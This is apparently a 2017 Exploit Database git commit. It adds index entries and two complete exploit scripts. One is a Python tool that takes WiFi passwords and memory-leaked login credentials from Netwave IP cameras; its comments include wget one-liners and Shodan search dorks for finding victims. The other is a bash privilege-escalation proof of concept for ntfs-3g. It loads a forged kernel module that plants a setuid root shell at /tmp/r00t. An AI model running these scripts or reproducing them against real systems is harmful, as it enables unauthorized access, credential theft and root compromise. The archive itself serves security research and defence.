DB: 2017-02-04
6 new exploits APC UPS 3.7.2 - (apcupsd) Local Denial of Service APC UPS 3.7.2 - 'apcupsd' Local Denial of Service Microsoft Windows 7 / Server 2008R2 - Remote Kernel Crash Microsoft Windows 7 / Server 2008 R2 - Remote Kernel Crash Debian 9 ntfs-3g - Privilege Escalation CUPS 1.1.x - .HPGL File Processor Buffer Overflow CUPS 1.1.x - '.HPGL' File Processor Buffer Overflow CUPS < 2.0.3 - Remote Command Execution Netwave IP Camera - Password Disclosure Itech Multi Vendor Script 6.49 - SQL Injection Itech Multi Vendor Script 6.49 - 'pl' Parameter SQL Injection SlimarUSER Management 1.0 - 'id' Parameter SQL Injection Itech Multi Vendor Script 6.49 - SQL Injection Zoneminder 1.29 / 1.30 - Cross-Site Scripting / SQL Injection / Session Fixation / Cross-Site Request Forgery
This commit is contained in:
Offensive Security
parent
8290029acb
commit
9ea9da7098
7 changed files with 1080 additions and 4 deletions
12
files.csv
12
files.csv
|
|
@ -36,7 +36,7 @@ id,file,description,date,author,platform,type,port
|
|||
240,platforms/solaris/dos/240.sh,"Solaris 2.6 / 7 / 8 - Lock Users Out of mailx Exploit",2001-01-03,Optyx,solaris,dos,0
|
||||
241,platforms/linux/dos/241.c,"ProFTPd 1.2.0 (rc2) - memory leakage example Exploit",2001-01-03,"Piotr Zurawski",linux,dos,21
|
||||
244,platforms/linux/dos/244.java,"ProFTPd 1.2.0pre10 - Remote Denial of Service",2001-01-12,JeT-Li,linux,dos,21
|
||||
251,platforms/linux/dos/251.c,"APC UPS 3.7.2 - (apcupsd) Local Denial of Service",2001-01-15,"the itch",linux,dos,0
|
||||
251,platforms/linux/dos/251.c,"APC UPS 3.7.2 - 'apcupsd' Local Denial of Service",2001-01-15,"the itch",linux,dos,0
|
||||
262,platforms/hardware/dos/262.pl,"Cisco Multiple Products - Automated Exploit Tool",2001-01-27,hypoclear,hardware,dos,0
|
||||
264,platforms/novell/dos/264.c,"Novell BorderManager Enterprise Edition 3.5 - Denial of Service",2001-05-07,honoriak,novell,dos,0
|
||||
274,platforms/linux/dos/274.c,"Linux Kernel 2.6.3 - 'setsockopt' Local Denial of Service",2004-04-21,"Julien Tinnes",linux,dos,0
|
||||
|
|
@ -8787,6 +8787,7 @@ id,file,description,date,author,platform,type,port
|
|||
41207,platforms/windows/local/41207.txt,"Viscosity 1.6.7 - Privilege Escalation",2017-01-31,"Kacper Szurek",windows,local,0
|
||||
41217,platforms/android/local/41217.txt,"Google Android - RKP EL1 Code Loading Bypass",2017-02-01,"Google Security Research",android,local,0
|
||||
41221,platforms/windows/local/41221.txt,"Ghostscript 9.20 - 'Filename' Command Execution",2017-02-02,hyp3rlinx,windows,local,0
|
||||
41240,platforms/linux/local/41240.sh,"Debian 9 ntfs-3g - Privilege Escalation",2017-02-03,"Kristian Erik Hermansen",linux,local,0
|
||||
1,platforms/windows/remote/1.c,"Microsoft IIS - WebDAV 'ntdll.dll' Remote Exploit",2003-03-23,kralor,windows,remote,80
|
||||
2,platforms/windows/remote/2.c,"Microsoft IIS 5.0 - WebDAV Remote Exploit (PoC)",2003-03-24,RoMaNSoFt,windows,remote,80
|
||||
5,platforms/windows/remote/5.c,"Microsoft Windows - RPC Locator Service Remote Exploit",2003-04-03,"Marcin Wolak",windows,remote,139
|
||||
|
|
@ -13139,7 +13140,7 @@ id,file,description,date,author,platform,type,port
|
|||
24687,platforms/windows/remote/24687.txt,"Microsoft Outlook Express 4.x/5.x/6.0 - Plaintext Email Security Policy Bypass",2004-10-18,http-equiv,windows,remote,0
|
||||
24688,platforms/windows/remote/24688.pl,"best software SalesLogix 2000.0 - Multiple Vulnerabilities",2004-10-18,"Carl Livitt",windows,remote,0
|
||||
24693,platforms/windows/remote/24693.txt,"Microsoft Internet Explorer 5.x - Valid File Drag and Drop Embedded Code (MS04-038)",2004-10-20,http-equiv,windows,remote,0
|
||||
24977,platforms/linux/remote/24977.txt,"CUPS 1.1.x - .HPGL File Processor Buffer Overflow",2004-12-15,"Ariel Berkman",linux,remote,0
|
||||
24977,platforms/linux/remote/24977.txt,"CUPS 1.1.x - '.HPGL' File Processor Buffer Overflow",2004-12-15,"Ariel Berkman",linux,remote,0
|
||||
24978,platforms/linux/remote/24978.txt,"Xine-Lib 0.9/1 - Remote Client-Side Buffer Overflow",2004-12-16,"Ariel Berkman",linux,remote,0
|
||||
24701,platforms/multiple/remote/24701.txt,"OpenWFE 1.4.x - Cross-Site Scripting / Connection Proxy",2004-10-25,"Joxean Koret",multiple,remote,0
|
||||
24704,platforms/linux/remote/24704.c,"Libxml2 - Multiple Remote Stack Buffer Overflow Vulnerabilities",2004-10-26,Sean,linux,remote,0
|
||||
|
|
@ -15259,6 +15260,8 @@ id,file,description,date,author,platform,type,port
|
|||
41153,platforms/windows/remote/41153.rb,"Geutebrueck GCore 1.3.8.42/1.4.2.37 - Remote Code Execution (Metasploit)",2017-01-24,"Maurice Popp",windows,remote,0
|
||||
41160,platforms/windows/remote/41160.py,"Autodesk Backburner Manager 3 < 2016.0.0.2150 - Null Dereference Denial of Service",2017-01-26,b0nd,windows,remote,0
|
||||
41162,platforms/linux/remote/41162.py,"Haraka < 2.8.9 - Remote Command Execution",2017-01-26,Xychix,linux,remote,0
|
||||
41233,platforms/linux/remote/41233.py,"CUPS < 2.0.3 - Remote Command Execution",2017-02-03,@0x00string,linux,remote,0
|
||||
41236,platforms/hardware/remote/41236.py,"Netwave IP Camera - Password Disclosure",2017-02-03,spiritnull,hardware,remote,0
|
||||
14113,platforms/arm/shellcode/14113.txt,"Linux/ARM - setuid(0) & execve(_/bin/sh___/bin/sh__0) Shellcode (38 bytes)",2010-06-29,"Jonathan Salwan",arm,shellcode,0
|
||||
13241,platforms/aix/shellcode/13241.txt,"AIX - execve /bin/sh Shellcode (88 bytes)",2004-09-26,"Georgi Guninski",aix,shellcode,0
|
||||
13242,platforms/bsd/shellcode/13242.txt,"BSD - Passive Connection Shellcode (124 bytes)",2000-11-19,Scrippie,bsd,shellcode,0
|
||||
|
|
@ -37140,7 +37143,7 @@ id,file,description,date,author,platform,type,port
|
|||
41189,platforms/php/webapps/41189.txt,"Itech Classifieds Script 7.27 - 'scat' Parameter SQL Injection",2017-01-30,"Kaan KAMIS",php,webapps,0
|
||||
41190,platforms/php/webapps/41190.txt,"Itech Dating Script 3.26 - SQL Injection",2017-01-30,"Kaan KAMIS",php,webapps,0
|
||||
41191,platforms/php/webapps/41191.txt,"Itech Freelancer Script 5.13 - SQL Injection",2017-01-30,"Kaan KAMIS",php,webapps,0
|
||||
41193,platforms/php/webapps/41193.txt,"Itech Multi Vendor Script 6.49 - SQL Injection",2017-01-30,"Kaan KAMIS",php,webapps,0
|
||||
41193,platforms/php/webapps/41193.txt,"Itech Multi Vendor Script 6.49 - 'pl' Parameter SQL Injection",2017-01-30,"Kaan KAMIS",php,webapps,0
|
||||
41194,platforms/php/webapps/41194.txt,"Itech News Portal Script 6.28 - 'inf' Parameter SQL Injection",2017-01-30,"Kaan KAMIS",php,webapps,0
|
||||
41195,platforms/php/webapps/41195.txt,"Itech Real Estate Script 3.12 - SQL Injection",2017-01-30,"Kaan KAMIS",php,webapps,0
|
||||
41197,platforms/php/webapps/41197.txt,"PHP Product Designer Script - Arbitrary File Upload",2017-01-30,"Ihsan Sencan",php,webapps,0
|
||||
|
|
@ -37163,3 +37166,6 @@ id,file,description,date,author,platform,type,port
|
|||
41230,platforms/php/webapps/41230.txt,"Itech Movie Portal Script 7.37 - SQL Injection",2017-02-02,"Ihsan Sencan",php,webapps,0
|
||||
41228,platforms/php/webapps/41228.txt,"Itech News Portal Script 6.28 - 'sc' Parameter SQL Injection",2017-02-02,"Ihsan Sencan",php,webapps,0
|
||||
41229,platforms/php/webapps/41229.txt,"Itech Auction Script 6.49 - 'pid' Parameter SQL Injection",2017-02-02,"Ihsan Sencan",php,webapps,0
|
||||
41235,platforms/php/webapps/41235.txt,"SlimarUSER Management 1.0 - 'id' Parameter SQL Injection",2017-02-03,"Kaan KAMIS",php,webapps,0
|
||||
41238,platforms/php/webapps/41238.txt,"Itech Multi Vendor Script 6.49 - SQL Injection",2017-02-03,Th3GundY,php,webapps,0
|
||||
41239,platforms/php/webapps/41239.txt,"Zoneminder 1.29 / 1.30 - Cross-Site Scripting / SQL Injection / Session Fixation / Cross-Site Request Forgery",2017-02-03,"Tim Herres",php,webapps,80
|
||||
|
|
|
|||
|
Can't render this file because it is too large.
|
147
platforms/hardware/remote/41236.py
Executable file
147
platforms/hardware/remote/41236.py
Executable file
|
|
@ -0,0 +1,147 @@
|
|||
#!/usr/bin/python2.7
|
||||
##
|
||||
## spiritnull(at)sigaint.org
|
||||
##
|
||||
## Run the exploit against the victim to get WIFI password
|
||||
## If the victim is vulnerable to memory leak it will try to extract the username and password for the weblogin
|
||||
##
|
||||
## magic for you bash:
|
||||
## wget -qO- http://[HOST]:[PORT]//proc/kcore | strings
|
||||
## wget -qO- http://[HOST]:[PORT]//etc/RT2870STA.dat
|
||||
## wget -qO- http://[HOST]:[PORT]//dev/rom0
|
||||
## wget -qO- http://[HOST]:[PORT]/get_status.cgi
|
||||
##
|
||||
## shodan dork:
|
||||
## "Server: Netwave IP Camera"
|
||||
##
|
||||
## zoomeye dork:
|
||||
## Netwave IP camera http config
|
||||
##
|
||||
|
||||
|
||||
|
||||
import sys,os,time,tailer
|
||||
import urllib2
|
||||
import subprocess
|
||||
import signal
|
||||
from threading import Thread
|
||||
|
||||
try:
|
||||
if sys.argv[1] == "-h" or sys.argv[1] == "--help":
|
||||
print "Usage: python pownetwave.py [HOST]:[PORT]"
|
||||
print "Example: python pownetwave.py 127.0.0.1:81"
|
||||
sys.exit(0)
|
||||
|
||||
else:
|
||||
pass
|
||||
except IndexError:
|
||||
print "Usage: python pownetwave.py [HOST]:[PORT]"
|
||||
print "Example: python pownetwave.py 127.0.0.1:81"
|
||||
sys.exit(0)
|
||||
|
||||
def signal_handler(signal, frame):
|
||||
print('\nclearing up..')
|
||||
os.system("rm -rf tmpstream.txt")
|
||||
os.system("rm -rf tmpstrings.out")
|
||||
os.system("killall -9 wget")
|
||||
os.system("killall -9 tail")
|
||||
sys.exit(0)
|
||||
|
||||
signal.signal(signal.SIGINT, signal_handler)
|
||||
|
||||
macaddr = ""
|
||||
done = 0
|
||||
linecount = 0
|
||||
|
||||
|
||||
class bcolors:
|
||||
HEADER = '\033[95m'
|
||||
OKBLUE = '\033[94m'
|
||||
OKGREEN = '\033[92m'
|
||||
WARNING = '\033[93m'
|
||||
FAIL = '\033[91m'
|
||||
ENDC = '\033[0m'
|
||||
BOLD = '\033[1m'
|
||||
UNDERLINE = '\033[4m'
|
||||
|
||||
|
||||
print "getting system information.."+sys.argv[1]
|
||||
response = urllib2.urlopen('http://'+sys.argv[1]+'/get_status.cgi')
|
||||
xcontent = response.read().split(";\n")
|
||||
for line in xcontent:
|
||||
if line.startswith("var id="):
|
||||
line = line.split("'")
|
||||
macaddr = line[1]
|
||||
else:
|
||||
pass
|
||||
|
||||
|
||||
print "victims MAC-ADDRESS: "+bcolors.OKGREEN+str(macaddr)+bcolors.ENDC
|
||||
print "getting wireless information.."
|
||||
|
||||
|
||||
try:
|
||||
resp = urllib2.urlopen("http://"+sys.argv[1]+"//etc/RT2870STA.dat")
|
||||
xcontent = resp.read().split("\n")
|
||||
print "victims wireless information.."
|
||||
for line in xcontent:
|
||||
if line.startswith("WPAPSK") or line.startswith("SSID"):
|
||||
print "\t\t"+bcolors.OKGREEN+str(line)+bcolors.ENDC
|
||||
else:
|
||||
print "\t\t"+str(line)
|
||||
except:
|
||||
print "wireless lan is disabled.."
|
||||
|
||||
|
||||
print "checking for memory dump vulnerability.."
|
||||
|
||||
|
||||
try:
|
||||
urllib2.urlopen('http://'+sys.argv[1]+'//proc/kcore')
|
||||
except:
|
||||
print bcolors.FAIL+"victim isnt vulnerable for a memory leak, exiting.."+bcolors.ENDC
|
||||
sys.exit(0)
|
||||
|
||||
|
||||
print "starting to read memory dump.. "+bcolors.WARNING+"this could take a few minutes"+bcolors.ENDC
|
||||
proc = subprocess.Popen("wget -qO- http://"+sys.argv[1]+"//proc/kcore > tmpstream.txt", shell=True, preexec_fn=os.setsid)
|
||||
os.system('echo "" >tmpstrings.out')
|
||||
time.sleep(1)
|
||||
proc2 = subprocess.Popen("tail -f tmpstream.txt | strings >>tmpstrings.out", shell=True, preexec_fn=os.setsid)
|
||||
print bcolors.BOLD+"hit CTRL+C to exit.."+bcolors.ENDC
|
||||
|
||||
|
||||
while 1:
|
||||
sys.stdout.flush()
|
||||
if os.stat('tmpstrings.out').st_size <= 1024:
|
||||
sys.stdout.write("binary data: "+str(os.stat('tmpstream.txt').st_size)+"\r")
|
||||
else:
|
||||
sys.stdout.flush()
|
||||
print "strings in binary data found.. password should be around line 10000"
|
||||
for line in tailer.follow(open('tmpstrings.out','r')):
|
||||
sys.stdout.flush()
|
||||
if done == 0:
|
||||
linecount+= 1
|
||||
if line == macaddr:
|
||||
sys.stdout.flush()
|
||||
done = 1
|
||||
print bcolors.OKGREEN+"\n\nmac address triggered.. printing the following dumps, could leak username and passwords.."+bcolors.ENDC
|
||||
else:
|
||||
sys.stdout.write(str(linecount)+"\r")
|
||||
elif done == 1:
|
||||
done = 2
|
||||
print "\nfirstline.. "+bcolors.OKGREEN+line+bcolors.ENDC
|
||||
elif done == 2:
|
||||
done = 3
|
||||
print "possible username: "+bcolors.OKGREEN+line+bcolors.ENDC
|
||||
elif done == 3:
|
||||
done = 4
|
||||
print "possible password: "+bcolors.OKGREEN+line+bcolors.ENDC
|
||||
elif done == 4:
|
||||
done = 0
|
||||
print "following line.. \n\n"+bcolors.OKGREEN+line+bcolors.ENDC
|
||||
else:
|
||||
pass
|
||||
|
||||
|
||||
signal.pause()
|
||||
166
platforms/linux/local/41240.sh
Executable file
166
platforms/linux/local/41240.sh
Executable file
|
|
@ -0,0 +1,166 @@
|
|||
#!/bin/bash
|
||||
echo "@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@"
|
||||
echo "@ CVE-2017-0359, PoC by Kristian Erik Hermansen @"
|
||||
echo "@ ntfs-3g local privilege escalation to root @"
|
||||
echo "@ Credits to Google Project Zero @"
|
||||
echo "@ Affects: Debian 9/8/7, Ubuntu, Gentoo, others @"
|
||||
echo "@ Tested: Debian 9 (Stretch) @"
|
||||
echo "@ Date: 2017-02-03 @"
|
||||
echo "@ Link: https://goo.gl/A9I8Vq @"
|
||||
echo "@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@"
|
||||
echo "[*] Gathering environment info ..."
|
||||
cwd="$(pwd)"
|
||||
un="$(uname -r)"
|
||||
dlm="$(pwd)/lib/modules"
|
||||
dkf="$(pwd)/kernel/fs"
|
||||
echo "[*] Creating kernel hijack directories ..."
|
||||
mkdir -p "${dlm}"
|
||||
mkdir -p "${dkf}"
|
||||
echo "[*] Forging symlinks ..."
|
||||
ln -sf "${cwd}" "${dlm}/${un}"
|
||||
ln -sf "${cwd}" "${dkf}/fuse"
|
||||
ln -sf cve_2017_0358.ko fuse.ko
|
||||
echo "[*] Pulling in deps ... "
|
||||
echo "[*] Building kernel module ... "
|
||||
|
||||
cat << 'EOF' > cve_2017_0358.c
|
||||
#include <linux/module.h>
|
||||
|
||||
MODULE_LICENSE("CC");
|
||||
MODULE_AUTHOR("kristian erik hermansen <kristian.hermansen+CVE-2017-0358@gmail.com>");
|
||||
MODULE_DESCRIPTION("PoC for CVE-2017-0358 from Google Project Zero");
|
||||
|
||||
int init_module(void) {
|
||||
printk(KERN_INFO "[!] Exploited CVE-2017-0358 successfully; may want to patch your system!\n");
|
||||
char *envp[] = { "HOME=/tmp", NULL };
|
||||
char *argv[] = { "/bin/sh", "-c", "/bin/cp /bin/sh /tmp/r00t; /bin/chmod u+s /tmp/r00t", NULL };
|
||||
call_usermodehelper(argv[0], argv, envp, UMH_WAIT_EXEC);
|
||||
char *argvv[] = { "/bin/sh", "-c", "/sbin/rmmod cve_2017_0358", NULL };
|
||||
call_usermodehelper(argv[0], argvv, envp, UMH_WAIT_EXEC);
|
||||
return 0;
|
||||
}
|
||||
|
||||
void cleanup_module(void) {
|
||||
printk(KERN_INFO "[*] CVE-2017-0358 exploit unloading ...\n");
|
||||
}
|
||||
EOF
|
||||
|
||||
cat << 'EOF' > Makefile
|
||||
obj-m += cve_2017_0358.o
|
||||
|
||||
all:
|
||||
make -C /lib/modules/$(shell uname -r)/build M=$(PWD) modules
|
||||
|
||||
clean:
|
||||
make -C /lib/modules/$(shell uname -r)/build M=$(PWD) clean
|
||||
EOF
|
||||
|
||||
make 1>/dev/null 2>/dev/null || echo "[-] FAILED: your need make / build tools"
|
||||
cp "/lib/modules/${un}/modules.dep.bin" . || echo "[-] FAILED: linux-image location non-default?"
|
||||
MODPROBE_OPTIONS="-v -d ${cwd}" ntfs-3g /dev/null /dev/null 1>/dev/null 2>/dev/null
|
||||
/tmp/r00t -c 'whoami' | egrep -q 'root' && echo "[+] SUCCESS: You have root. Don't be evil :)"
|
||||
/tmp/r00t
|
||||
|
||||
echo << 'EOF'
|
||||
@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@
|
||||
@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@#+'@@@@@########@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@
|
||||
@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@+++'';+'###''#'+'@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@
|
||||
@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@#@@@@+@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@
|
||||
@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@####'#@@#;;'+@@###@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@
|
||||
@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@';;:,.``#@@@;`.:@',::'@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@
|
||||
@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@;`......+;:;':..+:..'#@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@
|
||||
@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@'.;,.,;;;....;,.'.,;+@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@
|
||||
@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@';':..':......;.:,,'@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@
|
||||
@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@#;..'`.,;:.`;,,.'@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@
|
||||
@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@;..'..,#;..',.;#@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@#++''++#@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@
|
||||
@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@;..':,....,',.'@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@#'::,,::::,,:;#@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@
|
||||
@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@#';..;'.,.,.;'..'@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@+:::::::::::::::,;#@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@
|
||||
@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@+;;;';'':,:'';'';;@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@;:::::::::::::::::::;@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@
|
||||
@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@';;'+;';'''''';';;+@@@@@@@@@@@@@@@@@@@@@@@@@@@@@#,:::::;;;;;;;:::::::::#@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@
|
||||
@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@:;,,;.,'..'.;,,,.;'@@@@@@@@@@@@@@@@@@@@@@@@@@@@+:::::;;;;;;;;;;;;;;:::,;@@@@@@@@@@@@@@@###@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@
|
||||
@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@;;;.;:,'..'.,,'.';;@@@@@@@@@@@@@@@@@@@@@@@@@@@#::::;;;;;;;;;;;;'';;;;:::#@@@@@@@@@@#'::::::#@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@
|
||||
@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@;;:,;::'::+,',':';;@@@@@@@@@@@@@@@@@@@@@@@@@@@::::;;;;;;;';;''''''';;::,'@@@@@@@@@+;;;:;;::;@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@
|
||||
@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@#';;;;;;;;'';;;;;;::#@@@@@@@@@@@@@@@@@@@@@@@@@+,::;;''''';;;''''+''';;;:::#@@@@@@@;;;;;;;;;::@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@
|
||||
@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@#;::::::;.`.,'@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@:::;'''''''';;''+''+++;;;;::+'@@@@@';;;;;;;;''+@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@
|
||||
@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@',,..,#@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@#::;'''''''''';;'''' `+'';;:;;:@@@@+';;;;;;'';:#@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@
|
||||
@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@++':..'@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@+:;;''''''';'';''''; :+'';;::;@@@@;;;;;;;''+'+@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@
|
||||
@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@#::.,,#@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@':;;'''''''''';''''' ''''';::;@@@+''';;;+#++#@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@
|
||||
@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@;.,,;@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@;:;;''''''''';;''';':.;+'';;;:;@@@'''':;'@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@
|
||||
@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@##;;..:@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@;:;''++'''''''''';;''''''';;;;'@@@;''',:'@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@
|
||||
@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@+;;;.,:@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@;;;''++''''''''';;;;'''''''''';@@#;'''.:'@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@
|
||||
@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@#'...,,;@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@';;''++++'''''''''''''+++++++':@@@''''::+@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@
|
||||
@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@;:,.,;+@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@+:;;''++++''''''''''''''++'''':@@@'''':;#@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@
|
||||
@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@#';'#@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@::''''+++++'''''''''''''''''::@@@+''';;#@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@
|
||||
@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@#@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@;;;'''+'+++''''''''''''''''':;@@@+''';;+@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@
|
||||
@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@#@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@';;''++'+++++++'''''''''''';:'@@@#''';;;@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@
|
||||
@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@#;;''+++++++''''''''''''''';:#@@@@''';;:#@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@
|
||||
@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@;;'''+++'+++''+'+''''''''';:#@@@@'+'';:+@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@
|
||||
@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@';;'+++++++++''''''+'''''';:@@@@@+''';;;@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@
|
||||
@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@#;;''+++++++++'''+'''''''';:@@@@@#''';;;#@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@
|
||||
@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@;;''++++++++''''''''''''';:@@@@@@'''';;#@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@
|
||||
@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@+'''+++++'+++'''''''''''';:@@@@@@+''';;#@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@
|
||||
@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@#'''++++++'++'''''''''''';:@@@@@@+''';;#@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@
|
||||
@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@#'''+++'+'+'''''''''''''';:@@@@@@#''';;#@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@
|
||||
@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@#'''++++''''''''''''''''';:#@@@@@#''';;#@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@
|
||||
